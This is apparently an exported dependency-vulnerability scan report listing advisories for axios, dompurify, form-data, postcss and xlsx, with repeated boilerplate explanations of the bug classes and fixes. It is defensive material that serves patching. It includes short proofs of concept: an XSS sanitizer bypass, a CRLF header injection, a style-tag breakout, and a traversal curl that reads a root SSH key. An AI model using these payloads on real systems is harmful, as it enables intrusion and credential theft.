There are a few methods by which Prototype Pollution can be manipulated: | Type | Origin | Short description | |---|---| | Denial of service (DoS) | Client | This is the most likely attack.
 DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
 The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
 For example: if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. | Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
 For example: `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code. | Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
 For example: if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges. |

Affected environments The following environments are susceptible to a Prototype Pollution attack: - Application server - Web server - Web browser

How to prevent

1. Freeze the prototype— use `Object.freeze (Object.prototype)`.
2. Require schema validation of JSON input.
3. Avoid using unsafe recursive merge functions.
4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.
5. As a best practice use `Map` instead of `Object`.

For more information on this vulnerability type: Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation Upgrade axios` to version 0.33.0, 1.18.0 or higher.

References - GitHub Advisory - GitHub Commit - GitHub Commit - GitHub PR - GitHub PR - GitHub Release - GitHub Release

Prototype Pollution (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Prototype Pollution in the Node HTTP adapter (`lib/adapters/http.js`), which reads `config.proxy` through the prototype chain after a request interceptor returns a plain-object clone that `lib/core/dispatchRequest.js` dispatches

without re-applying the null-prototype hardening. An attacker who can pollute `Object.prototype.proxy` can route a victim's outbound plaintext HTTP requests through an attacker-controlled proxy, disclosing Authorization headers, Basic credentials, request metadata, and POST bodies and enabling forged responses, when the application uses an interceptor that returns a spread or `Object.assign` copy of the config. Exploitation requires the Node HTTP adapter, a separately polluted `Object.prototype.proxy`, a request interceptor that returns a plain-object copy of the config, and no own proxy value on the request, and HTTPS under normal TLS validation does not disclose the headers or body.

Workaround This vulnerability can be avoided by setting `proxy: false` on the affected requests or the axios instance, which supplies an own proxy value that shadows the polluted prototype property. Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42264. Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `proto`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution. There are two main ways in which the pollution of prototypes occurs:

- Unsafe Object recursive merge
- Property definition by path

Unsafe Object recursive merge The logic of a vulnerable recursive merge function follows the following high-level model: ``merge (target, source) foreach property of source if property exists and is an object on both the target and the source merge(target[property], source[property]) else target[property] = source[property]`

When the source object contains a property named `proto` defined with `Object.defineProperty()`, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object.prototype`. Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`. `lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.

Property definition by path There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`. If the attacker can control the value of "path", they can set this value to `proto.myValue`. `myValue` is then assigned to the prototype of the class of the object. Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

- | Type | Origin | Short description |
- | Denial of service (DoS) | Client | This is the most likely attack.

DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.

For example: if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail.

- | Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.

For example: `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.

- | Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.

For example: if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

- Application server
- Web server
- Web browser

How to prevent

1. Freeze the prototype— use `Object.freeze (Object.prototype)`.
2. Require schema validation of JSON input.
3. Avoid using unsafe recursive merge functions.
4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.
5. As a best practice use `Map` instead of `Object`.

For more information on this vulnerability type: Arteau, Olivier. "JavaScript prototype pollution attack in NodeJS application." GitHub, 26 May 2018 Remediation Upgrade axios` to version 0.33.0, 1.18.0 or higher.

References - GitHub Advisory - GitHub Commit - GitHub Commit - GitHub PR - GitHub PR - GitHub Release - GitHub Release

Allocation of Resources Without Limits or Throttling (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `getBodyLength()` and `resolveBodyLength()` functions of `lib/adapters/fetch.js`, which lack a branch for WHATWG `ReadableStream` bodies, so the resolved length is undefined and the pre-dispatch `maxLength` check is skipped. An attacker who controls a streamed request body

can transmit uploads that exceed the configured `maxBodyLength`, causing unexpected outbound egress and consuming upstream API quota or bandwidth, by supplying a `ReadableStream` without a reliable `Content-Length` to a `fetch`-adapter request. Exploitation requires the `fetch` adapter, a body-bearing method such as `POST`, `PUT`, or `PATCH`, request data supplied as a `ReadableStream` without a reliable `Content-Length`, and a finite `maxBodyLength`, while the Node HTTP adapter and known-length bodies are unaffected. Workaround This vulnerability can be avoided in Node.js by using the HTTP adapter (`adapter: "http"`) for untrusted stream uploads, which enforces the stream body limit that the `fetch` adapter does not. Remediation Upgrade axios to version 1.18.0 or higher. References - GitHub Advisory - GitHub Commit - GitHub PR - GitHub Release

Prototype Pollution (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Prototype Pollution in the bodyless method aliases in `lib/core/Axios.js`, the proxy handling in `lib/adapters/http.js`, and the `paramsSerializer` read in `lib/helpers/resolveConfig.js`, which read data, proxy, and `paramsSerializer` off the config without own-property checks, so polluted `Object.prototype` values are picked up. An attacker who can pollute `Object.prototype` can attach body data to a bodyless request such as `axios.get()`, route requests through an attacker-controlled proxy, or execute an attacker-supplied `paramsSerializer` during URL serialization, by setting `Object.prototype.data`, `Object.prototype.proxy`, or `Object.prototype.paramsSerializer`. Exploitation requires a separate component to have already polluted `Object.prototype`, commonly through a transitive dependency. Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42264. Details Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all `Object` attributes to be altered, including their magical attributes such as `proto`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution. There are two main ways in which the pollution of prototypes occurs: - Unsafe Object recursive merge - Property definition by path

Unsafe Object recursive merge The logic of a vulnerable recursive merge function follows the following high-level model: `merge(target, source) foreach property of source if property exists and is an object on both the target and the source merge(target[property], source[property]) else target[property] = source[property]` When the source object contains a property named `proto` defined with `Object.defineProperty()`, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object.prototype`. Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({}, source)`. `Lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.

Property definition by path There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)` If the attacker can control the value of "path", they can set this value to `proto.myValue`. `myValue` is then assigned to the prototype of the class of the object. Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when <code>Object</code> holds generic functions that are implicitly called for various operations (for example, <code>toString</code> and <code>valueOf</code>). The attacker pollutes <code>Object.prototype.someattr</code> and alters its state to an unexpected value such as <code>Int</code> or <code>Object</code> . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes <code>Object.prototype.toString</code> by defining it as an integer, if the codebase at any point was reliant on <code>someobject.toString()</code> it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: <code>eval(someobject.someattr)</code> . In this case, if the attacker pollutes <code>Object.prototype.someattr</code> they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for <code>someuser.isAdmin</code> , then when the attacker pollutes <code>Object.prototype.isAdmin</code> and sets it to equal <code>true</code> , they can then achieve admin privileges.

Affected environments The following environments are susceptible to a Prototype Pollution attack: - Application server - Web server - Web browser

How to prevent

1. Freeze the prototype— use `Object.freeze(Object.prototype)`.
2. Require schema validation of JSON input.
3. Avoid using unsafe recursive merge functions.
4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and

preventing pollution. 5. As a best practice use Map instead of Object. For more information on this vulnerability type: Arteau, Olivier. "JavaScript prototype pollution attack in NodeJS application." GitHub, 26 May 2018 Remediation Upgrade axios` to version 0.33.0, 1.18.0 or higher. References - GitHub Advisory - GitHub Commit - GitHub Commit - GitHub PR - GitHub PR - GitHub Release - GitHub Release

Cross-site Scripting (XSS) (snyk) - dompurify@3.4.7:-

Overview dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG. Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the INPLACE process when attacker-controlled live DOM nodes are sanitized. An attacker can execute arbitrary scripts in the context of the application by passing a manipulated DOM node with a spoofed nodeName property, causing malicious script elements to be retained and executed upon insertion into the document. PoC `js <!doctype html> <html><body> <script src="dist/purify.js"></script> <script> const foreign = window.open('about:blank', 'blank', 'noopener=no'); const host = foreign.document.createElement('div'); const script = foreign.document.createElement('script'); script.textContent = 'window.pwned = 1'; Object.defineProperty(script, 'nodeName', { value: 'DIV', configurable: true, }); host.appendChild(script); DOMPurify.sanitize(host, { INPLACE: true }); console.log('output:', host.outerHTML); // <div><script>window.pwned = 1</script></div> window.pwned = 0; document.body.appendChild(host); console.log('handler fired:', window._pwned === 1); // true </script> </body></html>` Details Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker "injects" a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user's browser when the user interacts with the compromised website. This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser's Same Origin Policy. Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability. Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they've been correctly escaped in the application code and in this way the attempted attack is diverted. The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware. Types of attacks There are a few methods by which XSS can be manipulated: |Type|Origin|Description| |--|--| |Stored|Server|The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.| |Reflected|Server|The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user's browser.| |DOM-based|Client|The attacker forces the user's browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.| |Mutated| |The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.| Affected environments The following environments are susceptible to an XSS attack: Web servers Application servers Web application environments How to prevent This section describes the top best practices designed to specifically protect your code: Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents. Give users the option to disable client-side scripts. Redirect invalid requests. Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions. Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack. Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML. Remediation Upgrade dompurify` to version 3.4.8 or higher. References - GitHub Advisory - GitHub Commit

Cross-site Scripting (XSS) (snyk) - dompurify@3.4.7:-

Overview dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG. Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the SAFEFORTEEMPLATES function. An attacker can inject template

expressions that survive sanitization inside `<template>` element content by splitting malicious expressions across adjacent text nodes, which are not properly scrubbed. This allows execution of arbitrary code or exfiltration of sensitive data if a downstream template engine evaluates the merged content. This is only exploitable if both `SAFEFORTEMPLATES: true` and either `RETURNDOM: true`, `RETURNDOMFRAGMENT: true`, or `INPLACE: true` are explicitly set, and the application processes `<template>.content` with a template engine. Details Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website. This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy. Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability. Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<` and `>` can be coded as `>`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted. The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware. Types of attacks There are a few methods by which XSS can be manipulated: |Type|Origin|Description| |--|--| |Stored|Server|The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.| |Reflected|Server|The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.| |DOM-based|Client|The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.| |Mutated| |The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.| Affected environments The following environments are susceptible to an XSS attack: Web servers Application servers Web application environments How to prevent This section describes the top best practices designed to specifically protect your code: Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents. Give users the option to disable client-side scripts. Redirect invalid requests. Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions. Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack. Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML. Remediation Upgrade dompurify to version 3.4.8 or higher. References - GitHub Advisory - GitHub Commit

Improper Initialization (snyk) - dompurify@3.4.7:-

Overview dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG. Affected versions of this package are vulnerable to Improper Initialization in the `DOMPurify.setConfig()` API when an `uponSanitizeAttribute` hook is registered that mutates `allowedAttributes`. An attacker can cause persistent modification of the attribute allowlist by submitting specially crafted content, resulting in unauthorized attributes being permitted in all subsequent sanitization calls. Remediation Upgrade dompurify to version 3.4.11 or higher. References - GitHub Advisory - GitHub Commit

Cross-site Scripting (XSS) (snyk) - dompurify@3.4.7:-

Overview dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG. Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the `INPLACE` sanitization process when a hook removes an element, leaving its detached descendants with executable event handlers. An attacker can execute arbitrary JavaScript code in the application’s origin by supplying crafted HTML that leverages this behavior. This is only exploitable if the application uses the `INPLACE` configuration along with a hook that removes a containing element. Details Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts

with the compromised website. This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser's Same Origin Policy. Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability. Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they've been correctly escaped in the application code and in this way the attempted attack is diverted. The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware. Types of attacks There are a few methods by which XSS can be manipulated: [Type|Origin|Description] |--|--| [Stored|Server|The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.] |Reflected|Server|The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user's browser.] |DOM-based|Client|The attacker forces the user's browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.] |Mutated| |The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.] Affected environments The following environments are susceptible to an XSS attack: Web servers Application servers Web application environments How to prevent This section describes the top best practices designed to specifically protect your code: Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents. Give users the option to disable client-side scripts. Redirect invalid requests. Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions. Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack. Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML. Remediation Upgrade dompurify to version 3.4.13 or higher. References - GitHub Advisory - GitHub Commit - GitHub PR - GitHub Release

CRLF Injection (snyk) - form-data@4.0.4:-

Overview Affected versions of this package are vulnerable to CRLF Injection via the `_multiPartHeader` function when untrusted input is provided via field or filename to `FormData#append`. An attacker can inject additional headers or multipart parts by including carriage returns, line feeds, or double quotes in the input. This can allow the modification or addition of form fields visible to downstream parsers. PoC ``js const FormData = require('form-data'); const form = new FormData(); form.append('email'\r\nX-Injected: true\r\nfake="", 'user@example.com'); console.log(form.getBuffer().toString());` Remediation Upgrade `form-data`` to version 2.5.6, 3.0.5, 4.0.6 or higher. References - GitHub Commit - GitHub Commit - GitHub Commit - Maintainer's Advisory

Cross-site Scripting (XSS) (snyk) - postcss@8.5.6:-

Overview `postcss` is a PostCSS is a tool for transforming styles with JS plugins. Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in CSS Stringify Output. An attacker can execute arbitrary JavaScript code in the context of the affected web page by submitting crafted CSS containing `</style>` sequences that are not properly escaped when embedded within HTML `<style>` tags. PoC ``js const postcss = require('postcss'); // Parse user CSS and re-stringify for page embedding const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }'; const ast = postcss.parse(userCSS); const output = ast.toResult().css; const html = <style>${output}</style>; console.log(html); // <style>body { content: "</style><script>alert(1)</script><style>"; }</style> // Browser: </style>` closes the style tag, `<script>` executes Details Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker "injects" a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user's browser when the user interacts with the compromised website. This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through

client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser's Same Origin Policy. Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability. Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they've been correctly escaped in the application code and in this way the attempted attack is diverted. The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware. Types of attacks There are a few methods by which XSS can be manipulated: |Type|Origin|Description| |--|--| |Stored|Server|The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.| |Reflected|Server|The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user's browser.| |DOM-based|Client|The attacker forces the user's browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.| |Mutated| |The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.| Affected environments The following environments are susceptible to an XSS attack: Web servers Application servers Web application environments How to prevent This section describes the top best practices designed to specifically protect your code: Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents. Give users the option to disable client-side scripts. Redirect invalid requests. Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions. Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack. Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML. Remediation Upgrade postcss to version 8.5.10 or higher. References - GitHub Advisory - GitHub Commit - GitHub Release

Directory Traversal (snyk) - postcss@8.5.6:-

Overview postcss is a PostCSS is a tool for transforming styles with JS plugins. Affected versions of this package are vulnerable to Directory Traversal in the PreviousMap.loadFile() method of lib/previous-map.js, which nests its traversal guard inside an if (cssFile) branch that is skipped when the from option is unset, leaving only a check that the target path ends in .map. An attacker can read arbitrary .map files from the filesystem, disclosing their sources paths and sourcesContent through the generated source map, by placing an absolute or ../ path in a sourceMappingURL comment in the processed CSS. This requires the application to process attacker-influenced CSS without the from option, with map enabled and the source-map module available, and then expose result.map to the attacker, and the read is limited to JSON-parseable files ending in .map. Workaround This vulnerability can be avoided by passing an explicit from option when processing untrusted CSS, which restores the traversal guard that is otherwise skipped. Note: This is a bypass of the fix for the vulnerability described in CVE-2026-45623. Details A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files. Directory Traversal vulnerabilities can be generally divided into two types: - Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system. st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route. If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user. `curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/idrsa Note %2e is the URL encoded version of . (dot). - Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip. One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with

a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily. The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorizedkeys file: 2018-04-15 22:04:29 19 19 good.txt 2018-04-15 22:04:42 20 20 ../../../../root/.ssh/authorized_keys Remediation Upgrade postcss to version 8.5.23 or higher. References - GitHub Advisory - GitHub Commit - GitHub Release

Prototype Pollution (snyk) - xlsx@0.18.5:-

Overview xlsx is a Parser and writer for various spreadsheet formats. Affected versions of this package are vulnerable to Prototype Pollution when reading specially crafted files. Note: 1) The issue is resolved in version 0.19.3 of SheetJS that is distributed only via the authoritative source for SheetJS modules. See this issue

(<https://github.com/SheetJS/sheetjs/issues/2667>) for full details. 2) Workflows that do not read arbitrary files (for example, exporting data to spreadsheet files) are unaffected. Details Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution. There are two main ways in which the pollution of prototypes occurs: - Unsafe Object recursive merge - Property definition by path Unsafe Object recursive merge The logic of a vulnerable recursive merge function follows the following high-level model: `merge(target, source) foreach property of source if property exists and is an object on both the target and the source merge(target[property], source[property]) else target[property] = source[property]` When the source object contains a property named proto defined with Object.defineProperty(), the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype. Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source). lodash and Hoek are examples of libraries susceptible to recursive merge attacks. Property definition by path There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value) If the attacker can control the value of "path", they can set this value to proto.myValue. myValue is then assigned to the prototype of the class of the object. Types of attacks There are a few methods by which Prototype Pollution can be manipulated: | Type | Origin | Short description | |--|--| | Denial of service (DoS) | Client | This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. | | Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. | | Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. | Affected environments The following environments are susceptible to a Prototype Pollution attack: - Application server - Web server - Web browser How to prevent 1. Freeze the prototype— use Object.freeze (Object.prototype). 2. Require schema validation of JSON input. 3. Avoid using unsafe recursive merge functions. 4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution. 5. As a best practice use Map instead of Object. For more information on this vulnerability type: Arteau, Olivier. "JavaScript prototype pollution attack in NodeJS application." GitHub, 26 May 2018 Remediation A fix was pushed into the master` branch but not yet published. References - Git Changelog - PoC - Security Advisory

Detailed Vulnerability Listing

Severity	Rule	Location	Description
CRITICAL	HTTP Response Splitting snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to HTTP Response Splitting via the isFormData and getHeaders handling in the HTTP request path. An attacker can inject arbitrary request headers by supplying a prototype-polluted object that is mistaken for FormData, causing getHeaders() output to be merged into an outgoing request. This lets attacker-controlled values, such as authorization or custom headers, ride along wi...
CRITICAL	Prototype Pollution snyk	axios@1.11.0	Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Prototype Pollution through the mergeConfig code path in the request configuration handling. An attacker can influence request behavior by supplying a crafted config object with inherited properties such as transport, env, formSerializer, or transform callbacks on Object.prototype, causing Axios to use attacker-controlled settings during request dispatch and form seriali...
